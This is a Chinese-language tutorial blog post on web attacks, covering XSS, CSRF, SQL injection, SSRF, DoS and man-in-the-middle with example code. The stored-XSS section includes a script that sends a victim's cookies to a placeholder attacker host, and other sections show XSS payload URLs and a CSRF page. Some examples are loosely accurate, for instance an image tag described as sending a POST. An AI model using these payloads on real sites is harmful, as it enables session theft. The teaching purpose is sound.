Web开发安全 - 攻击篇 | 青训营

167 阅读6分钟

Web开发安全 - 攻击篇

1. Cross-Site Scripting(XSS)

XSS跨脚本攻击是一种常见的网络漏洞,它允许攻击者将恶意脚本注入到网页中,然后在用户浏览该页面时执行这些恶意脚本。这可能导致攻击者窃取用户的敏感信息,如登录凭据、个人信息等,或者在受害者的浏览器上执行任意操作,例如重定向到恶意网站、修改页面内容等。

XSS攻击通常分为三种类型:

  • 存储型XSS(Stored XSS):攻击者将恶意脚本存储在目标应用的数据库中,然后当其他用户访问包含恶意脚本的页面时,这些脚本会从服务器加载并在受害者浏览器中执行。
...
...
<div class="profile"> 
    <h2>用户名:Rianna</h2> 
    <p>个人描述:{{userDescription}}</p> 
</div>
<script> 
    // 从数据库加载用户描述 
    var userDescription = "{{userDescriptionFromDatabase}}"; 
    document.querySelector(".profile p").textContent = userDescription; </script>
...
...
<script>
  // 恶意脚本:窃取用户Cookie并发送到攻击者控制的服务器
  var cookieData = document.cookie;
  new Image().src = 'https://attacker-site.com/steal.php?data=' + encodeURIComponent(cookieData);
</script>

攻击者将上述恶意脚本插入到受害者的个人资料描述中,当其他用户访问Rianna的个人资料时,恶意脚本会在其浏览器中执行,导致他们的Cookie被窃取并发送到攻击者的服务器。

  • 反射型XSS(Reflected XSS):攻击者构造包含恶意脚本的URL,并将这个URL发送给受害者。当受害者点击连接并访问该URL时,恶意脚本会在页面中执行,但脚本不会存储在服务器上。
<div id="output"></div>
<button onclick="updateContent()">点击我</button>

<script>
function updateContent() {
  var input = location.hash.substr(1);
  // 将用户输入直接插入到DOM中
  document.getElementById("output").innerHTML = input; 
}
</script>
https://example.com/page#<script>alert('DOM XSS')</script>

当用户点击按钮后,页面内容会被修改并弹出一个警报框显示"DOM XSS"。

  • DOM型XSS(DOM-based XSS):这种类型的XSS攻击不涉及向服务器发送数据,而是通过修改页面的DOM(文档对象模型)来触发。攻击者通过修改页面的DOM结构来插入恶意脚本,从而影响页面行为。
https://example.com/page#<script>alert('DOM XSS')</script>

当用户点击按钮时,页面内容会被修改并弹出一个警报框显示“DOM XSS”

  • 变异型跨站脚本攻击(Mutution-based XSS):利用了客户端JavaScript中的DOM操作来执行恶意脚本。与传统的XSS攻击不同,变异型XSS不需要将恶意脚本插入到服务器端,而是直接在浏览器端修改页面的DOM结构来触发攻击。
    • 假设一个网页上有一个评论框,用户可以在其中发布评论。管理员在管理评论时,可以通过点击按钮来删除评论。然而网站没有充分验证和过滤用户输入的评论内容。
        ...
        ...
        <div id="comments">
        <!-- 用户发布的评论 -->
            <div class="comment">
              <p>This is a great website! Keep up the good work.</p>
              <button onclick="deleteComment(this)">删除评论</button>
            </div>
        </div>
    
        <script>
        function deleteComment(button) {
          var commentDiv = button.parentElement;
          commentDiv.remove();
        }
    
        // 模拟用户评论的加载
        var userComment = decodeURIComponent(window.location.hash.substr(1));
        var commentContainer = document.getElementById('comments');
        commentContainer.innerHTML += '<div class="comment">' + userComment + '</div>';
        </script>
        ...
        ...
    
    http://example.com/comment-page#<img src=x onerror=alert('Mutation-based XSS')>
    

    当管理员访问评论管理页面时,恶意评论会被加载并插入到DOM中。当管理员尝试删除恶意评论时,恶意脚本会被触发,导致弹出一个警报框显示 "Mutation-based XSS"。

2. Cross-site request forgery(CSRF)

  1. 特点:
    • 在用户不知情的前提下
    • 利用用户权限(cookie)
    • 构造指定HTTP请求,窃取或修改用户敏感信息
  2. 示例:

假设有一个在在线银行应用,用户可以通过访问特定的URL来完成转账操作。该应用使用基于Cookie的身份验证老验证用户身份

<!DOCTYPE html>
<html>
<head>
 <title>在线银行</title>
</head>
<body>
 <h1>转账操作</h1>
 <form action="transfer.php" method="post">
   <input type="hidden" name="to" value="attacker">
   <input type="hidden" name="amount" value="1000">
   <input type="submit" value="转账 1000 元">
 </form>
</body>
</html>
// 攻击者可以创建一个恶意网站,诱使受害者在登陆了银行应用后访问这个恶意网站
<!DOCTYPE html>
<html>
<head>
  <title>恶意网站</title>
</head>
<body>
  <h1>你中招了!</h1>
  <img src="http://example.com/transfer-money">
</body>
</html>

当受害者访问恶意网站后,网页中的图片会向银行应用的转账URL发送POST请求,将1000元转账到攻击者的账户中。由于受害者在之前登录了银行应用,浏览器会在请求中自动发送包含受害者会话Cookie的请求头,从而绕过了身份验证。

3. Injection

SQL Injection

SQL注入是一种常见的网络安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意SQL代码来操作数据库。这种攻击可以导致数据库泄露、数据损坏、恶意数据插入等问题。

public async renderForm(ctx){
    const {username,form_id} = ctx.query;
    const result = await sql.query(`
        SELECT a,b,c FROM table
        WHERE username = ${username}
        AND FORM_ID = ${FORM_ID}
    `);
    ctx.body = renderForm(result)

SSRF Injection

SSRF的工作原理是攻击者将恶意构造的URL传递给服务器端代码,然后服务器端代码在执行网络请求时,使用了攻击者提供的URL。攻击者可以通过操纵URL来访问内部资源、云服务、本地文件系统等,甚至可能导致利用其他漏洞。

// 假设有一个基于JavaScript的应用,它允许用户输入一个URL,然后通过AJAX请求来获取该URL的内容并在页面上展示。
<!DOCTYPE html>
<html>
<head>
  <title>URL 内容展示</title>
</head>
<body>
  <h1>URL 内容展示</h1>
  <input type="text" id="urlInput" placeholder="输入URL">
  <button onclick="fetchURL()">获取内容</button>
  <div id="content"></div>

  <script>
    function fetchURL() {
      var url = document.getElementById("urlInput").value;

      // 使用AJAX请求获取URL内容
      var xhr = new XMLHttpRequest();
      xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
          if (xhr.status === 200) {
            document.getElementById("content").textContent = xhr.responseText;
          } else {
            document.getElementById("content").textContent = "获取内容失败";
          }
        }
      };
      xhr.open("GET", url, true);
      xhr.send();
    }
  </script>
</body>
</html>

在这个示例中,用户可以在输入框中输入一个URL,然后点击按钮来获取该URL的内容并在页面上展示。然而,如果没有适当的限制和验证,攻击者可能会输入一个指向内部网络的URL,从而禅师执行SSRF攻击。例如,攻击者可以输入以下URL:http://localhost/internal/resource

4. Denial of Servie(DOS)

通过某种方式(构造特定请求),导致服务器资源被显著消耗,来不及响应更多请求,导致请求挤压,进而雪崩效应。

  1. ReDoS:基于正则表达式的DoS:是一种基于正则表达式的拒绝服务攻击,攻击者利用正则表达式引擎在处理特定输入时出现指数级的回溯操作,导致系统变得非常缓慢甚至崩溃。
  2. Distributed DoS(DDoS):攻击者通过控制大量被感染的计算机(称为"僵尸"或"肉鸡")来同时向目标服务器发送大量的流量,以削弱或完全阻止目标服务器的正常服务。DDoS攻击的目标是通过压倒性的流量使目标系统无法正常提供服务,造成业务中断和损害。特点:
    • 耗时的同步操作
    • 数据库的写入
    • SQL join
    • 文件备份
    • 循环执行逻辑

5. 基于传输层的攻击方式 - 中间人攻击

中间人攻击(Man-in-the-Middle Attack,简称MITM攻击)是一种网络安全威胁,攻击者在通信的两端之间插入自己的恶意节点,以窃取、篡改或监听通信内容。这种攻击可能会导致敏感信息泄露、数据篡改、会话劫持等问题。

工作原理:攻击者在受害者与目标之间创建一个虚假的通信路径,使受害者和目标都认为他们正在直接与对方通信,但实际上他们的通信都通过攻击者进行中转。攻击者可以获取通信中的敏感信息,也可以对通信内容进行篡改,从而破坏通信的完整性。